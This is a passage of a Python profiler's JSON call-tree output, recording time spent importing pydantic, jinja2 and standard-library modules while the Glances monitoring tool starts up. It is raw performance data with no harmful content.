0.013993562002724502},\"children\": [{\"identifier\": \"create_dataclass\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/dataclasses.py\\u0000153\",\"time\": 0.013994,\"attributes\": {\"cGlancesEvent\": 0.013993562002724502, \"l164\": 0.0020323300050222315, \"l310\": 0.01196123199770227},\"children\": [{\"identifier\": \"is_model_class\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_utils.py\\u0000113\",\"time\": 0.002032,\"attributes\": {\"cGlancesEvent\": 0.0020323300050222315, \"l117\": 0.0020323300050222315},\"children\": [{\"identifier\": \"import_cached_base_model\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_import_utils.py\\u00009\",\"time\": 0.002032,\"attributes\": {\"l11\": 0.0020323300050222315},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002032,\"attributes\": {\"l1423\": 0.0020323300050222315},\"children\": [{\"identifier\": \"__getattr__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/__init__.py\\u0000425\",\"time\": 0.002032,\"attributes\": {\"l446\": 0.0020323300050222315},\"children\": [{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.002032,\"attributes\": {\"l88\": 0.0020323300050222315},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.002032,\"attributes\": {\"l1398\": 0.0020323300050222315},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002032,\"attributes\": {\"l1371\": 0.0020323300050222315},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002032,\"attributes\": {\"l1342\": 0.0020323300050222315},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002032,\"attributes\": {\"l938\": 0.0020323300050222315},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002032,\"attributes\": {\"cSourceFileLoader\": 0.0020323300050222315, \"l762\": 0.0020323300050222315},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002032,\"attributes\": {\"l491\": 0.0020323300050222315},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/main.py\\u00001\",\"time\": 0.002032,\"attributes\": {\"l118\": 0.0020323300050222315},\"children\": [{\"identifier\": \"BaseModel\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/main.py\\u0000118\",\"time\": 0.002032,\"attributes\": {\"l1304\": 0.0020323300050222315},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002032,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"complete_dataclass\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_dataclasses.py\\u000085\",\"time\": 0.011961,\"attributes\": {\"cGlancesEvent\": 0.01196123199770227, \"l165\": 0.0019624289998319, \"l185\": 0.00999880299787037},\"children\": [{\"identifier\": \"generate_schema\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u0000702\",\"time\": 0.001962,\"attributes\": {\"cGenerateSchema\": 0.0019624289998319, \"l729\": 0.0019624289998319},\"children\": [{\"identifier\": \"_generate_schema_inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00001002\",\"time\": 0.001962,\"attributes\": {\"cGenerateSchema\": 0.0019624289998319, \"l1028\": 0.0019624289998319},\"children\": [{\"identifier\": \"match_type\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00001030\",\"time\": 0.001962,\"attributes\": {\"cGenerateSchema\": 0.0019624289998319, \"l1140\": 0.0019624289998319},\"children\": [{\"identifier\": \"_dataclass_schema\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00001816\",\"time\": 0.001962,\"attributes\": {\"cGenerateSchema\": 0.0019624289998319, \"l1897\": 0.0019624289998319},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00001898\",\"time\": 0.001962,\"attributes\": {\"l1898\": 0.0019624289998319},\"children\": [{\"identifier\": \"_generate_dc_field_schema\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00001239\",\"time\": 0.001962,\"attributes\": {\"cGenerateSchema\": 0.0019624289998319, \"l1246\": 0.0019624289998319},\"children\": [{\"identifier\": \"_common_field_schema\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00001261\",\"time\": 0.001962,\"attributes\": {\"cGenerateSchema\": 0.0019624289998319, \"l1282\": 0.0019624289998319},\"children\": [{\"identifier\": \"_apply_annotations\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00002185\",\"time\": 0.001962,\"attributes\": {\"cGenerateSchema\": 0.0019624289998319, \"l2227\": 0.0019624289998319},\"children\": [{\"identifier\": \"__call__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_schema_generation_shared.py\\u000082\",\"time\": 0.001962,\"attributes\": {\"cCallbackGetCoreSchemaHandler\": 0.0019624289998319, \"l83\": 0.0019624289998319},\"children\": [{\"identifier\": \"inner_handler\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00002202\",\"time\": 0.001962,\"attributes\": {\"l2206\": 0.0019624289998319},\"children\": [{\"identifier\": \"_generate_schema_inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00001002\",\"time\": 0.001962,\"attributes\": {\"cGenerateSchema\": 0.0019624289998319, \"l1025\": 0.0019624289998319},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001962,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"create_schema_validator\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/plugin/_schema_validator.py\\u000022\",\"time\": 0.009999,\"attributes\": {\"l37\": 0.002004570997087285, \"l39\": 0.007994232000783086},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002005,\"attributes\": {\"l1371\": 0.002004570997087285},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002005,\"attributes\": {\"l1342\": 0.002004570997087285},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002005,\"attributes\": {\"l938\": 0.002004570997087285},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002005,\"attributes\": {\"cSourceFileLoader\": 0.002004570997087285, \"l762\": 0.002004570997087285},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002005,\"attributes\": {\"l491\": 0.002004570997087285},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/plugin/_loader.py\\u00001\",\"time\": 0.002005,\"attributes\": {\"l3\": 0.002004570997087285},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002005,\"attributes\": {\"l1371\": 0.002004570997087285},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002005,\"attributes\": {\"l1342\": 0.002004570997087285},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002005,\"attributes\": {\"l938\": 0.002004570997087285},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002005,\"attributes\": {\"cSourceFileLoader\": 0.002004570997087285, \"l762\": 0.002004570997087285},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002005,\"attributes\": {\"l491\": 0.002004570997087285},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u00001\",\"time\": 0.002005,\"attributes\": {\"l22\": 0.002004570997087285},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002005,\"attributes\": {\"l1371\": 0.002004570997087285},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002005,\"attributes\": {\"l1342\": 0.002004570997087285},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002005,\"attributes\": {\"l938\": 0.002004570997087285},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002005,\"attributes\": {\"cSourceFileLoader\": 0.002004570997087285, \"l758\": 0.002004570997087285},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002005,\"attributes\": {\"cSourceFileLoader\": 0.002004570997087285, \"l854\": 0.002004570997087285},\"children\": [{\"identifier\": \"get_data\\u0000<frozen importlib._bootstrap_external>\\u0000950\",\"time\": 0.002005,\"attributes\": {\"cSourceFileLoader\": 0.002004570997087285, \"l953\": 0.002004570997087285},\"children\": [{\"identifier\": \"open_code\\u0000<built-in>\\u00000\",\"time\": 0.002005,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"get_plugins\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/plugin/_loader.py\\u000022\",\"time\": 0.007994,\"attributes\": {\"l39\": 0.003995810999185778, \"l40\": 0.003998421001597308},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u0000890\",\"time\": 0.001996,\"attributes\": {\"l891\": 0.0019955469979322515},\"children\": [{\"identifier\": \"search\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u0000756\",\"time\": 0.001996,\"attributes\": {\"cFastPath\": 0.0019955469979322515, \"l757\": 0.0019955469979322515},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/_functools.py\\u000075\",\"time\": 0.001996,\"attributes\": {\"cFastPath\": 0.0019955469979322515, \"l80\": 0.0019955469979322515},\"children\": [{\"identifier\": \"lookup\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u0000765\",\"time\": 0.001996,\"attributes\": {\"cFastPath\": 0.0019955469979322515, \"l767\": 0.0019955469979322515},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u0000775\",\"time\": 0.001996,\"attributes\": {\"cLookup\": 0.0019955469979322515, \"l795\": 0.0019955469979322515},\"children\": [{\"identifier\": \"joinpath\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u0000739\",\"time\": 0.001996,\"attributes\": {\"cFastPath\": 0.0019955469979322515, \"l740\": 0.0019955469979322515},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/pathlib/__init__.py\\u0000135\",\"time\": 0.001996,\"attributes\": {\"cPosixPath\": 0.0019955469979322515, \"l146\": 0.0019955469979322515},\"children\": [{\"identifier\": \"fspath\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"__new__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u0000334\",\"time\": 0.002000,\"attributes\": {\"cPathDistribution\": 0.0020002640012535267, \"l341\": 0.0020002640012535267},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"entry_points\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u0000488\",\"time\": 0.003998,\"attributes\": {\"cPathDistribution\": 0.003998421001597308, \"l496\": 0.003998421001597308},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"read_text\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/metadata/__init__.py\\u0000907\",\"time\": 0.001999,\"attributes\": {\"cPathDistribution\": 0.0019993259993498214, \"l915\": 0.0019993259993498214},\"children\": [{\"identifier\": \"read_text\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/pathlib/__init__.py\\u0000785\",\"time\": 0.001999,\"attributes\": {\"cPosixPath\": 0.0019993259993498214, \"l792\": 0.0019993259993498214},\"children\": [{\"identifier\": \"open\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/pathlib/__init__.py\\u0000768\",\"time\": 0.001999,\"attributes\": {\"cPosixPath\": 0.0019993259993498214, \"l776\": 0.0019993259993498214},\"children\": [{\"identifier\": \"__fspath__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/pathlib/__init__.py\\u0000190\",\"time\": 0.001999,\"attributes\": {\"cPosixPath\": 0.0019993259993498214, \"l191\": 0.0019993259993498214},\"children\": [{\"identifier\": \"__str__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/pathlib/__init__.py\\u0000251\",\"time\": 0.001999,\"attributes\": {\"cPosixPath\": 0.0019993259993498214, \"l257\": 0.0019993259993498214},\"children\": [{\"identifier\": \"drive\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/pathlib/__init__.py\\u0000346\",\"time\": 0.001999,\"attributes\": {\"cPosixPath\": 0.0019993259993498214, \"l352\": 0.0019993259993498214},\"children\": [{\"identifier\": \"_raw_path\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/pathlib/__init__.py\\u0000330\",\"time\": 0.001999,\"attributes\": {\"cPosixPath\": 0.0019993259993498214, \"l337\": 0.0019993259993498214},\"children\": [{\"identifier\": \"join\\u0000<frozen posixpath>\\u000072\",\"time\": 0.001999,\"attributes\": {\"l78\": 0.0019993259993498214},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000419\",\"time\": 0.002002,\"attributes\": {\"c_ModuleLockManager\": 0.002002496003115084, \"l421\": 0.002002496003115084},\"children\": [{\"identifier\": \"acquire\\u0000<frozen importlib._bootstrap>\\u0000304\",\"time\": 0.002002,\"attributes\": {\"c_ModuleLock\": 0.002002496003115084, \"l311\": 0.002002496003115084},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000162\",\"time\": 0.002002,\"attributes\": {\"c_BlockingOnManager\": 0.002002496003115084, \"l170\": 0.002002496003115084},\"children\": [{\"identifier\": \"setdefault\\u0000<frozen importlib._bootstrap>\\u0000124\",\"time\": 0.002002,\"attributes\": {\"c_WeakValueDictionary\": 0.002002496003115084, \"l132\": 0.002002496003115084},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_stdout_api_doc.py\\u00001\",\"time\": 0.001999,\"attributes\": {\"l13\": 0.001998581996303983},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.001999,\"attributes\": {\"l1426\": 0.001998581996303983},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001999,\"attributes\": {\"l491\": 0.001998581996303983},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001999,\"attributes\": {\"l1371\": 0.001998581996303983},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001999,\"attributes\": {\"l1342\": 0.001998581996303983},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001999,\"attributes\": {\"l938\": 0.001998581996303983},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.001998581996303983, \"l762\": 0.001998581996303983},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001999,\"attributes\": {\"l491\": 0.001998581996303983},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/api.py\\u00001\",\"time\": 0.001999,\"attributes\": {\"l12\": 0.001998581996303983},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001999,\"attributes\": {\"l1371\": 0.001998581996303983},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001999,\"attributes\": {\"l1329\": 0.001998581996303983},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_stdout_fetch.py\\u00001\",\"time\": 0.012001,\"attributes\": {\"l11\": 0.012000814000202809},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.012001,\"attributes\": {\"l1371\": 0.012000814000202809},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.012001,\"attributes\": {\"l1342\": 0.012000814000202809},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.012001,\"attributes\": {\"l938\": 0.012000814000202809},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.012001,\"attributes\": {\"cSourceFileLoader\": 0.012000814000202809, \"l762\": 0.012000814000202809},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.012001,\"attributes\": {\"l491\": 0.012000814000202809},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/__init__.py\\u00001\",\"time\": 0.012001,\"attributes\": {\"l9\": 0.010000210000725929, \"l18\": 0.00200060399947688},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.012001,\"attributes\": {\"l1371\": 0.012000814000202809},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.012001,\"attributes\": {\"l1342\": 0.010000210000725929, \"l1340\": 0.00200060399947688},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.010000,\"attributes\": {\"l938\": 0.010000210000725929},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.010000,\"attributes\": {\"cSourceFileLoader\": 0.010000210000725929, \"l762\": 0.010000210000725929},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.010000,\"attributes\": {\"l491\": 0.010000210000725929},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/environment.py\\u00001\",\"time\": 0.010000,\"attributes\": {\"l15\": 0.002009133000683505, \"l17\": 0.0019950860005337745, \"l18\": 0.0020014539986732416, \"l20\": 0.002043523003521841, \"l41\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002009,\"attributes\": {\"l1371\": 0.002009133000683505},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002009,\"attributes\": {\"l1342\": 0.002009133000683505},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002009,\"attributes\": {\"l938\": 0.002009133000683505},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002009,\"attributes\": {\"cSourceFileLoader\": 0.002009133000683505, \"l762\": 0.002009133000683505},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002009,\"attributes\": {\"l491\": 0.002009133000683505},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/markupsafe/__init__.py\\u00001\",\"time\": 0.002009,\"attributes\": {\"l8\": 0.002009133000683505},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002009,\"attributes\": {\"l1371\": 0.002009133000683505},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002009,\"attributes\": {\"l1342\": 0.002009133000683505},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002009,\"attributes\": {\"l924\": 0.002009133000683505},\"children\": [{\"identifier\": \"module_from_spec\\u0000<frozen importlib._bootstrap>\\u0000809\",\"time\": 0.002009,\"attributes\": {\"l816\": 0.002009133000683505},\"children\": [{\"identifier\": \"create_module\\u0000<frozen importlib._bootstrap_external>\\u00001054\",\"time\": 0.002009,\"attributes\": {\"cExtensionFileLoader\": 0.002009133000683505, \"l1056\": 0.002009133000683505},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002009,\"attributes\": {\"l491\": 0.002009133000683505},\"children\": [{\"identifier\": \"create_dynamic\\u0000<built-in>\\u00000\",\"time\": 0.002009,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.001995,\"attributes\": {\"l1426\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001995,\"attributes\": {\"l491\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001995,\"attributes\": {\"l1371\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001995,\"attributes\": {\"l1342\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001995,\"attributes\": {\"l938\": 0.0019950860005337745},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001995,\"attributes\": {\"cSourceFileLoader\": 0.0019950860005337745, \"l762\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001995,\"attributes\": {\"l491\": 0.0019950860005337745},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/nodes.py\\u00001\",\"time\": 0.001995,\"attributes\": {\"l13\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001995,\"attributes\": {\"l1371\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001995,\"attributes\": {\"l1342\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001995,\"attributes\": {\"l938\": 0.0019950860005337745},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001995,\"attributes\": {\"cSourceFileLoader\": 0.0019950860005337745, \"l762\": 0.0019950860005337745},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001995,\"attributes\": {\"l491\": 0.0019950860005337745},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/utils.py\\u00001\",\"time\": 0.001995,\"attributes\": {\"l677\": 0.0019950860005337745},\"children\": [{\"identifier\": \"__build_class__\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005996,\"attributes\": {\"l1371\": 0.005995990999508649},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005996,\"attributes\": {\"l1342\": 0.005995990999508649},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005996,\"attributes\": {\"l938\": 0.005995990999508649},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005996,\"attributes\": {\"cSourceFileLoader\": 0.005995990999508649, \"l762\": 0.005995990999508649},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005996,\"attributes\": {\"l491\": 0.005995990999508649},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/compiler.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l15\": 0.0020014539986732416},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020014539986732416},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020014539986732416},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020014539986732416},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020014539986732416, \"l762\": 0.0020014539986732416},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020014539986732416},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/idtracking.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l33\": 0.0020014539986732416},\"children\": 